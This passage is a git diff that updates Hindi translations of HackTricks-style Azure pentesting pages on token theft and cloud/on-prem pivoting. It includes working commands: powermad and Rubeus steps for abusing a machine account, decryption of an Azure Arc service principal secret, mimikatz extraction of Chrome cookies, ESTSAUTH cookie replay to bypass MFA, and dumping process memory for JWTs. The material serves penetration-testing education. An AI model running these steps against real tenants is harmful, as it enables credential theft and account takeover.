और संसाधन से जुड़े होते हैं। +- **Refresh tokens**: नए access tokens प्राप्त करने के लिए अनुप्रयोगों को जारी किए जाते हैं। इन्हें केवल उसी अनुप्रयोग द्वारा या अनुप्रयोगों के समूह द्वारा उपयोग किया जा सकता है जिनके लिए इन्हें जारी किया गया था। +- **Primary Refresh Tokens (PRT)**: Azure AD से जुड़े, पंजीकृत, या हाइब्रिड जुड़े उपकरणों पर सिंगल साइन-ऑन के लिए उपयोग किए जाते हैं। इन्हें ब्राउज़र साइन-इन प्रवाह में और उपकरण पर मोबाइल और डेस्कटॉप अनुप्रयोगों में साइन इन करने के लिए उपयोग किया जा सकता है। +- **Windows Hello for Business keys (WHFB)**: पासवर्ड रहित प्रमाणीकरण के लिए उपयोग किए जाते हैं। इसका उपयोग Primary Refresh Tokens प्राप्त करने के लिए किया जाता है। -टोकन का सबसे दिलचस्प प्रकार प्राइमरी रीफ्रेश टोकन (PRT) है। +टोकन का सबसे दिलचस्प प्रकार Primary Refresh Token (PRT) है। {{#ref}} az-primary-refresh-token-prt.md {{#endref}} -### पिवोटिंग तकनीकें +### Pivoting Techniques **समझौता की गई मशीन से क्लाउड तक**: -- [**पास द कुकी**](az-pass-the-cookie.md): ब्राउज़र से Azure कुकीज़ चुराएं और लॉगिन करने के लिए उनका उपयोग करें -- [**प्रक्रियाओं के एक्सेस टोकन डंप करें**](az-processes-memory-access-token.md): क्लाउड के साथ समन्वयित स्थानीय प्रक्रियाओं की मेमोरी को डंप करें (जैसे एक्सेल, Teams...) और स्पष्ट पाठ में एक्सेस टोकन खोजें। -- [**प्राइमरी रीफ्रेश टोकन फ़िशिंग**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** इसका दुरुपयोग करने के लिए PRT को फ़िश करें -- [**PRT पास करें**](pass-the-prt.md): Azure तक पहुँचने के लिए डिवाइस PRT चुराएं। -- [**प्रमाणपत्र पास करें**](az-pass-the-certificate.md)**:** एक मशीन से दूसरी मशीन पर लॉगिन करने के लिए PRT के आधार पर एक प्रमाणपत्र उत्पन्न करें +- [**Pass the Cookie**](az-pass-the-cookie.md): ब्राउज़र से Azure कुकीज़ चुराना और उनका उपयोग करके लॉगिन करना +- [**Dump processes access tokens**](az-processes-memory-access-token.md): क्लाउड के साथ समन्वयित स्थानीय प्रक्रियाओं की मेमोरी को डंप करना (जैसे excel, Teams...) और स्पष्ट पाठ में access tokens खोजना। +- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT को धोखा देकर इसका दुरुपयोग करना +- [**Pass the PRT**](pass-the-prt.md): Azure तक पहुँचने के लिए डिवाइस PRT चुराना। +- [**Pass the Certificate**](az-pass-the-certificate.md)**:** एक मशीन से दूसरी मशीन पर लॉगिन करने के लिए PRT के आधार पर एक प्रमाणपत्र उत्पन्न करना -**AD से समझौता करने से लेकर क्लाउड से समझौता करने और क्लाउड से AD से समझौता करने तक**: +**AD से समझौता करने से लेकर क्लाउड तक और क्लाउड से AD तक समझौता करने**: -- [**Azure AD कनेक्ट**](azure-ad-connect-hybrid-identity/) -- **क्लाउड से ऑन-प्रेम पर पिवोट करने का एक और तरीका है** [**Intune का दुरुपयोग करना**](../az-services/intune.md) +- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) +- **क्लाउड से ऑन-प्रेम पर पिवट करने का एक और तरीका** [**Intune का दुरुपयोग करना**](../az-services/intune.md) #### [Roadtx](https://github.com/dirkjanm/ROADtools) -यह उपकरण कई क्रियाएँ करने की अनुमति देता है जैसे Azure AD में एक मशीन को पंजीकृत करना ताकि PRT प्राप्त किया जा सके, और विभिन्न तरीकों से संसाधनों तक पहुँचने के लिए PRTs (वैध या चुराए गए) का उपयोग करना। ये सीधे हमले नहीं हैं, लेकिन यह विभिन्न तरीकों से संसाधनों तक पहुँचने के लिए PRTs के उपयोग को सुविधाजनक बनाता है। अधिक जानकारी के लिए देखें [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) +यह उपकरण कई कार्य करने की अनुमति देता है जैसे Azure AD में एक मशीन को पंजीकृत करना ताकि PRT प्राप्त किया जा सके, और विभिन्न तरीकों से संसाधनों तक पहुँचने के लिए PRTs (वैध या चुराए गए) का उपयोग करना। ये सीधे हमले नहीं हैं, लेकिन यह विभिन्न तरीकों से संसाधनों तक पहुँचने के लिए PRTs के उपयोग को सुविधाजनक बनाता है। अधिक जानकारी के लिए देखें [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) -## संदर्भ +## References - [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index a7ad3e09f..aba096dda 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -11,9 +11,9 @@ Azure Arc नए आंतरिक सर्वरों (जुड़े ह 1. स्थानीय डोमेन के भीतर Azure Arc Servers Onboarding GPO बनाती है। 2. EnableAzureArc.ps1 ऑनबोर्डिंग स्क्रिप्ट को ऑनबोर्डिंग प्रक्रिया के लिए बनाए गए निर्दिष्ट नेटवर्क शेयर में कॉपी करती है, जिसमें Windows इंस्टॉलर पैकेज भी शामिल है। -इस स्क्रिप्ट को चलाते समय, सिस्टम प्रशासकों को दो मुख्य पैरामीटर प्रदान करने की आवश्यकता होती है: **ServicePrincipalId** और **ServicePrincipalClientSecret**। इसके अतिरिक्त, इसे डोमेन, शेयर होस्ट करने वाले सर्वर का FQDN, और शेयर नाम जैसे अन्य पैरामीटर की भी आवश्यकता होती है। स्क्रिप्ट को टेनेट ID, संसाधन समूह, और अन्य आवश्यक जानकारी भी प्रदान करनी होती है। +इस स्क्रिप्ट को चलाते समय, सिस्टम प्रशासकों को दो मुख्य पैरामीटर प्रदान करने की आवश्यकता होती है: **ServicePrincipalId** और **ServicePrincipalClientSecret**। इसके अतिरिक्त, इसमें अन्य पैरामीटर जैसे डोमेन, शेयर होस्ट करने वाले सर्वर का FQDN, और शेयर नाम की आवश्यकता होती है। स्क्रिप्ट को टेनेट ID, संसाधन समूह, और अन्य आवश्यक जानकारी भी प्रदान करनी होती है। -DPAPI-NG एन्क्रिप्शन का उपयोग करके निर्दिष्ट शेयर पर AzureArcDeploy निर्देशिका में एक एन्क्रिप्टेड सीक्रेट उत्पन्न किया जाता है। एन्क्रिप्टेड सीक्रेट को encryptedServicePrincipalSecret नामक फ़ाइल में संग्रहीत किया जाता है। इसका प्रमाण DeployGPO.ps1 स्क्रिप्ट में पाया जा सकता है, जहां एन्क्रिप्शन को $descriptor और $ServicePrincipalSecret को इनपुट के रूप में कॉल करके ProtectBase64 द्वारा किया जाता है। डिस्क्रिप्टर में Domain Computer और Domain Controller समूह SIDs शामिल होते हैं, यह सुनिश्चित करते हुए कि ServicePrincipalSecret केवल Domain Controllers और Domain Computers सुरक्षा समूहों द्वारा डिक्रिप्ट किया जा सकता है, जैसा कि स्क्रिप्ट टिप्पणियों में उल्लेख किया गया है। +एक एन्क्रिप्टेड सीक्रेट निर्दिष्ट शेयर पर AzureArcDeploy निर्देशिका में DPAPI-NG एन्क्रिप्शन का उपयोग करके उत्पन्न होता है। एन्क्रिप्टेड सीक्रेट को encryptedServicePrincipalSecret नामक फ़ाइल में संग्रहीत किया जाता है। इसका प्रमाण DeployGPO.ps1 स्क्रिप्ट में पाया जा सकता है, जहां एन्क्रिप्शन को $descriptor और $ServicePrincipalSecret को इनपुट के रूप में कॉल करके ProtectBase64 द्वारा किया जाता है। डिस्क्रिप्टर में Domain Computer और Domain Controller समूह SIDs शामिल होते हैं, यह सुनिश्चित करते हुए कि ServicePrincipalSecret केवल Domain Controllers और Domain Computers सुरक्षा समूहों द्वारा डिक्रिप्ट किया जा सकता है, जैसा कि स्क्रिप्ट टिप्पणियों में उल्लेख किया गया है। ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -26,16 +26,16 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe हमारे पास निम्नलिखित शर्तें हैं: -1. हम आंतरिक नेटवर्क में सफलतापूर्वक प्रवेश कर चुके हैं। +1. हम सफलतापूर्वक आंतरिक नेटवर्क में प्रवेश कर चुके हैं। 2. हमारे पास Active Directory के भीतर एक कंप्यूटर खाते को बनाने या उस पर नियंत्रण करने की क्षमता है। -3. हमने AzureArcDeploy निर्देशिका को समाहित करने वाले एक नेटवर्क शेयर का पता लगाया है। +3. हमने AzureArcDeploy निर्देशिका को शामिल करने वाले एक नेटवर्क शेयर का पता लगाया है। -AD वातावरण में एक मशीन खाते को प्राप्त करने के कई तरीके हैं। सबसे सामान्य तरीकों में से एक मशीन खाता कोटा का शोषण करना है। एक और तरीका कमजोर ACLs या विभिन्न अन्य गलत कॉन्फ़िगरेशन के माध्यम से मशीन खाते से समझौता करना है। +AD वातावरण के भीतर एक मशीन खाते को प्राप्त करने के कई तरीके हैं। सबसे सामान्य तरीकों में से एक मशीन खाता कोटा का शोषण करना है। एक और तरीका कमजोर ACLs या विभिन्न अन्य गलत कॉन्फ़िगरेशन के माध्यम से मशीन खाते से समझौता करना है। ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` -एक बार मशीन खाता प्राप्त हो जाने पर, इस खाते का उपयोग करके प्रमाणीकरण करना संभव है। हम या तो netonly ध्वज के साथ runas.exe कमांड का उपयोग कर सकते हैं या Rubeus.exe के साथ पास-दी-टिकट का उपयोग कर सकते हैं। +एक बार मशीन खाता प्राप्त हो जाने पर, इस खाते का उपयोग करके प्रमाणीकरण करना संभव है। हम या तो netonly ध्वज के साथ runas.exe कमांड का उपयोग कर सकते हैं या Rubeus.exe के साथ पास-थ-टिकट का उपयोग कर सकते हैं। ```powershell runas /user:fake01$ /netonly powershell ``` @@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` -हमारी कंप्यूटर खाता के लिए TGT को मेमोरी में संग्रहीत करके, हम सेवा प्रमुख गुप्त को डिक्रिप्ट करने के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं। +हमारी कंप्यूटर खाता के लिए TGT को मेमोरी में संग्रहीत करके, हम सेवा प्रमुख रहस्य को डिक्रिप्ट करने के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं। ```powershell Import-Module .\AzureArcDeployment.psm1 @@ -54,7 +54,7 @@ $ebs ``` वैकल्पिक रूप से, हम [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) का उपयोग कर सकते हैं। -इस बिंदु पर, हम ArcInfo.json फ़ाइल से Azure से कनेक्ट करने के लिए आवश्यक शेष जानकारी एकत्र कर सकते हैं, जो कि encryptedServicePrincipalSecret फ़ाइल के समान नेटवर्क शेयर पर संग्रहीत है। इस फ़ाइल में विवरण शामिल हैं जैसे: TenantId, servicePrincipalClientId, ResourceGroup, और अधिक। इस जानकारी के साथ, हम Azure CLI का उपयोग करके समझौता किए गए सेवा प्रमुख के रूप में प्रमाणीकरण कर सकते हैं। +इस बिंदु पर, हम ArcInfo.json फ़ाइल से Azure से कनेक्ट करने के लिए आवश्यक शेष जानकारी एकत्र कर सकते हैं, जो एन्क्रिप्टेडServicePrincipalSecret फ़ाइल के समान नेटवर्क शेयर पर संग्रहीत है। इस फ़ाइल में विवरण शामिल हैं: TenantId, servicePrincipalClientId, ResourceGroup, और अधिक। इस जानकारी के साथ, हम Azure CLI का उपयोग करके समझौता किए गए सेवा प्रमुख के रूप में प्रमाणीकरण कर सकते हैं। ## संदर्भ diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 8e0da36b6..fb6c097d1 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -29,11 +29,11 @@ Azure PowerShell भी टोकन और संवेदनशील डे ## Security Recommendations -संवेदनशील डेटा के स्पष्ट पाठ में संग्रहीत होने को देखते हुए, इन फ़ाइलों और निर्देशिकाओं को सुरक्षित करना महत्वपूर्ण है: +संवेदनशील डेटा को स्पष्ट पाठ में संग्रहीत करने को देखते हुए, इन फ़ाइलों और निर्देशिकाओं को सुरक्षित करना महत्वपूर्ण है: - इन फ़ाइलों के लिए एक्सेस अधिकारों को सीमित करना। - अनधिकृत एक्सेस या अप्रत्याशित परिवर्तनों के लिए इन निर्देशिकाओं की नियमित रूप से निगरानी और ऑडिट करना। - जहां संभव हो, संवेदनशील फ़ाइलों के लिए एन्क्रिप्शन का उपयोग करना। -- उपयोगकर्ताओं को ऐसे संवेदनशील जानकारी को संभालने के लिए जोखिमों और सर्वोत्तम प्रथाओं के बारे में शिक्षित करना। +- उपयोगकर्ताओं को ऐसे संवेदनशील जानकारी को संभालने के जोखिमों और सर्वोत्तम प्रथाओं के बारे में शिक्षित करना। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index 000ae4e61..0209ecc5b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,13 +4,13 @@ ## Pass the Certificate (Azure) -Azure में जुड़े मशीनों पर, एक मशीन से दूसरी मशीन पर प्रमाणपत्रों का उपयोग करके प्रमाणित करना संभव है जो **Azure AD CA द्वारा आवश्यक उपयोगकर्ता के लिए जारी किए जाने चाहिए** (विषय के रूप में) जब दोनों मशीनें **NegoEx** प्रमाणीकरण तंत्र का समर्थन करती हैं। +Azure में जुड़े मशीनों में, एक मशीन से दूसरी मशीन पर प्रमाणपत्रों का उपयोग करके प्रमाणित करना संभव है जो **Azure AD CA द्वारा आवश्यक उपयोगकर्ता के लिए जारी किए जाने चाहिए** (विषय के रूप में) जब दोनों मशीनें **NegoEx** प्रमाणीकरण तंत्र का समर्थन करती हैं। बहुत सरल शब्दों में: - कनेक्शन शुरू करने वाली मशीन (क्लाइंट) को **उपयोगकर्ता के लिए Azure AD से एक प्रमाणपत्र की आवश्यकता होती है**। -- क्लाइंट एक JSON वेब टोकन (JWT) हेडर बनाता है जिसमें PRT और अन्य विवरण होते हैं, इसे व्युत्पन्न कुंजी (सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके) का उपयोग करके साइन करता है और **इसे Azure AD को भेजता है**। -- Azure AD JWT हस्ताक्षर को क्लाइंट सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके सत्यापित करता है, PRT की वैधता की जांच करता है और **प्रतिक्रिया** में **प्रमाणपत्र** भेजता है। +- क्लाइंट एक JSON वेब टोकन (JWT) हेडर बनाता है जिसमें PRT और अन्य विवरण होते हैं, इसे व्युत्पन्न कुंजी (सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके) से साइन करता है और **इसे Azure AD को भेजता है**। +- Azure AD क्लाइंट सत्र कुंजी और सुरक्षा संदर्भ का उपयोग करके JWT हस्ताक्षर की पुष्टि करता है, PRT की वैधता की जांच करता है और **प्रतिक्रिया** में **प्रमाणपत्र** भेजता है। इस परिदृश्य में और [**Pass the PRT**](pass-the-prt.md) हमले के लिए आवश्यक सभी जानकारी प्राप्त करने के बाद: @@ -20,16 +20,16 @@ Azure में जुड़े मशीनों पर, एक मशीन - सुरक्षा संदर्भ - व्युत्पन्न कुंजी -उपकरण [**PrtToCert**](https://github.com/morRubin/PrtToCert)** के लिए उपयोगकर्ता के लिए **P2P प्रमाणपत्र** **मांगना संभव है**: +उपकरण [**PrtToCert**](https://github.com/morRubin/PrtToCert)** के लिए उपयोगकर्ता के लिए **P2P प्रमाणपत्र** **मांगना संभव है**। ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` -सर्टिफिकेट्स की अवधि PRT के समान होगी। सर्टिफिकेट का उपयोग करने के लिए, आप पायथन टूल [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) का उपयोग कर सकते हैं जो **remote machine** पर **authenticate** करेगा, **PSEXEC** चलाएगा और पीड़ित मशीन पर **CMD** खोलेगा। इससे हमें Mimikatz का फिर से उपयोग करने की अनुमति मिलेगी ताकि हम किसी अन्य उपयोगकर्ता का PRT प्राप्त कर सकें। +प्रमाणपत्रों की अवधि PRT के समान होगी। प्रमाणपत्र का उपयोग करने के लिए, आप python टूल [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) का उपयोग कर सकते हैं जो दूरस्थ मशीन पर **प्रमाणित** करेगा, **PSEXEC** चलाएगा और पीड़ित मशीन पर **CMD** खोलेगा। इससे हमें Mimikatz का फिर से उपयोग करने की अनुमति मिलेगी ताकि हम किसी अन्य उपयोगकर्ता का PRT प्राप्त कर सकें। ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` -## References +## संदर्भ -- Pass the Certificate कैसे काम करता है इसके बारे में अधिक जानकारी के लिए मूल पोस्ट देखें [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +- Pass the Certificate कैसे काम करता है, इसके बारे में अधिक जानकारी के लिए मूल पोस्ट देखें [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 43b9c6db0..9573232f3 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -4,7 +4,7 @@ ## Why Cookies? -ब्राउज़र **cookies** प्रमाणीकरण और MFA को **बायपास** करने का एक शानदार तंत्र हैं। क्योंकि उपयोगकर्ता पहले ही एप्लिकेशन में प्रमाणीकरण कर चुका है, सत्र **cookie** का उपयोग उस उपयोगकर्ता के रूप में **डेटा** तक पहुँचने के लिए किया जा सकता है, बिना पुनः प्रमाणीकरण की आवश्यकता के। +Browser **cookies** प्रमाणीकरण और MFA को **बायपास** करने के लिए एक शानदार तंत्र हैं। क्योंकि उपयोगकर्ता पहले ही एप्लिकेशन में प्रमाणीकरण कर चुका है, सत्र **cookie** का उपयोग उस उपयोगकर्ता के रूप में **डेटा** तक पहुँचने के लिए किया जा सकता है, बिना पुनः प्रमाणीकरण की आवश्यकता के। आप देख सकते हैं कि **ब्राउज़र कुकीज़ कहाँ स्थित हैं**: @@ -14,7 +14,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ## Attack -चुनौतीपूर्ण भाग यह है कि वे **cookies एन्क्रिप्टेड** हैं **उपयोगकर्ता** के लिए Microsoft Data Protection API (**DPAPI**) के माध्यम से। यह एन्क्रिप्टेड है [उपयोगकर्ता से जुड़े क्रिप्टोग्राफिक कुंजी](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) का उपयोग करके जिनसे कुकीज़ संबंधित हैं। आप इसके बारे में अधिक जानकारी यहाँ पा सकते हैं: +चुनौतीपूर्ण भाग यह है कि वे **कुकीज़ एन्क्रिप्टेड** हैं उपयोगकर्ता के लिए Microsoft Data Protection API (**DPAPI**) के माध्यम से। यह एन्क्रिप्टेड है [उपयोगकर्ता से जुड़े क्रिप्टोग्राफिक कुंजी](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) का उपयोग करके जिनकी कुकीज़ हैं। आप इसके बारे में अधिक जानकारी यहाँ पा सकते हैं: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords @@ -24,11 +24,11 @@ Mimikatz के साथ, मैं इस कमांड के साथ ** ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` -For Azure, हम प्रमाणीकरण कुकीज़ के बारे में चिंतित हैं जिनमें **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, और **`ESTSAUTHLIGHT`** शामिल हैं। ये वहाँ हैं क्योंकि उपयोगकर्ता हाल ही में Azure पर सक्रिय रहा है। +Azure के लिए, हम प्रमाणीकरण कुकीज़ के बारे में चिंतित हैं जिनमें **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, और **`ESTSAUTHLIGHT`** शामिल हैं। ये इसलिए हैं क्योंकि उपयोगकर्ता हाल ही में Azure पर सक्रिय रहा है। बस login.microsoftonline.com पर जाएं और कुकी **`ESTSAUTHPERSISTENT`** (जो “Stay Signed In” विकल्प द्वारा उत्पन्न होती है) या **`ESTSAUTH`** जोड़ें। और आप प्रमाणित हो जाएंगे। -## References +## संदर्भ - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index f410730c7..77a908bca 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,6 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**पोस्ट देखें** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) हालांकि इसी विषय पर एक और पोस्ट [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) पर मिल सकती है। +**इस पोस्ट को देखें** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) हालांकि इसी विषय पर एक और पोस्ट [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) में मिल सकती है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index f4eba57a9..f7fec66dd 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -4,13 +4,13 @@ ## **बुनियादी जानकारी** -जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=OHKZkXC4Duw) में समझाया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) **स्मृति में स्पष्ट-टेक्स्ट में एक्सेस टोकन स्टोर कर सकते हैं**। इसलिए केवल **प्रक्रिया की** **स्मृति** को **डंप** करना और **JWT टोकन के लिए grep करना** आपको क्लाउड में MFA को बायपास करते हुए पीड़ित के कई संसाधनों तक पहुंच प्रदान कर सकता है। +जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=OHKZkXC4Duw) में समझाया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) **स्मृति में स्पष्ट-टेक्स्ट में एक्सेस टोकन स्टोर कर सकते हैं**। इसलिए केवल **प्रक्रिया की स्मृति को डंप करना** और **JWT टोकन के लिए grep करना** आपको क्लाउड में कई संसाधनों पर पहुंच प्रदान कर सकता है, MFA को बायपास करते हुए। चरण: 1. अपने पसंदीदा टूल के साथ EntraID उपयोगकर्ता के साथ समन्वयित एक्सेल प्रक्रियाओं को डंप करें। 2. चलाएँ: `string excel.dmp | grep 'eyJ0'` और आउटपुट में कई टोकन खोजें -3. उन टोकनों को खोजें जो आपको सबसे अधिक रुचिकर लगते हैं और उनके ऊपर टूल चलाएँ: +3. उन टोकनों को खोजें जो आपको सबसे अधिक रुचिकर हैं और उनके ऊपर टूल चलाएँ: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 1ad0cfa7c..4886b6b3c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -8,42 +8,42 @@ ### Trust -जब Azure AD के साथ एक ट्रस्ट स्थापित किया जाता है, तो **AD में एक Read Only Domain Controller (RODC) बनाया जाता है।** **RODC कंप्यूटर खाता**, जिसका नाम **`AzureADKerberos$`** है। इसके अलावा, एक द्वितीयक `krbtgt` खाता जिसका नाम **`krbtgt_AzureAD`** है। यह खाता उन **Kerberos कुंजियों** को रखता है जो Azure AD टिकटों के लिए बनाता है। +जब Azure AD के साथ एक ट्रस्ट स्थापित किया जाता है, तो **एक Read Only Domain Controller (RODC) AD में बनाया जाता है।** **RODC कंप्यूटर खाता**, जिसका नाम **`AzureADKerberos$`** है। इसके अलावा, एक द्वितीयक `krbtgt` खाता जिसका नाम **`krbtgt_AzureAD`** है। यह खाता **Kerberos कुंजियों** को रखता है जो Azure AD टिकटों के लिए उपयोग करता है। -इसलिए, यदि यह खाता समझौता कर लिया जाता है, तो किसी भी उपयोगकर्ता का अनुकरण करना संभव हो सकता है... हालाँकि यह सच नहीं है क्योंकि इस खाते को डोमेन एडमिन, एंटरप्राइज एडमिन, प्रशासकों जैसे किसी सामान्य विशेषाधिकार प्राप्त AD समूह के लिए टिकट बनाने से रोका गया है... +इसलिए, यदि यह खाता समझौता कर लिया जाता है, तो किसी भी उपयोगकर्ता का अनुकरण करना संभव हो सकता है... हालाँकि यह सच नहीं है क्योंकि इस खाते को किसी सामान्य विशेषाधिकार प्राप्त AD समूह जैसे Domain Admins, Enterprise Admins, Administrators के लिए टिकट बनाने से रोका गया है... > [!CAUTION] -> हालाँकि, एक वास्तविक परिदृश्य में ऐसे विशेषाधिकार प्राप्त उपयोगकर्ता होंगे जो उन समूहों में नहीं हैं। इसलिए **नया krbtgt खाता, यदि समझौता कर लिया जाए, तो उनका अनुकरण करने के लिए उपयोग किया जा सकता है।** +> हालाँकि, एक वास्तविक परिदृश्य में ऐसे विशेषाधिकार प्राप्त उपयोगकर्ता होंगे जो उन समूहों में नहीं हैं। इसलिए **नया krbtgt खाता, यदि समझौता किया गया, तो उनका अनुकरण करने के लिए उपयोग किया जा सकता है।** ### Kerberos TGT -इसके अलावा, जब एक उपयोगकर्ता Windows पर हाइब्रिड पहचान का उपयोग करके प्रमाणीकरण करता है, तो **Azure AD एक आंशिक Kerberos टिकट के साथ PRT जारी करेगा।** TGT आंशिक है क्योंकि **AzureAD के पास ऑन-प्रिम AD में उपयोगकर्ता की सीमित जानकारी** है (जैसे सुरक्षा पहचानकर्ता (SID) और नाम)।\ +इसके अलावा, जब एक उपयोगकर्ता Windows पर हाइब्रिड पहचान का उपयोग करके प्रमाणीकरण करता है, तो **Azure AD एक आंशिक Kerberos टिकट के साथ PRT जारी करेगा।** TGT आंशिक है क्योंकि **AzureAD के पास ऑन-प्रेम AD में उपयोगकर्ता की सीमित जानकारी** है (जैसे सुरक्षा पहचानकर्ता (SID) और नाम)।\ Windows तब **इस आंशिक TGT को पूर्ण TGT के लिए विनिमय कर सकता है** `krbtgt` सेवा के लिए सेवा टिकट का अनुरोध करके। ### NTLM -चूंकि ऐसी सेवाएँ हो सकती हैं जो kerberos प्रमाणीकरण का समर्थन नहीं करती हैं बल्कि NTLM करती हैं, 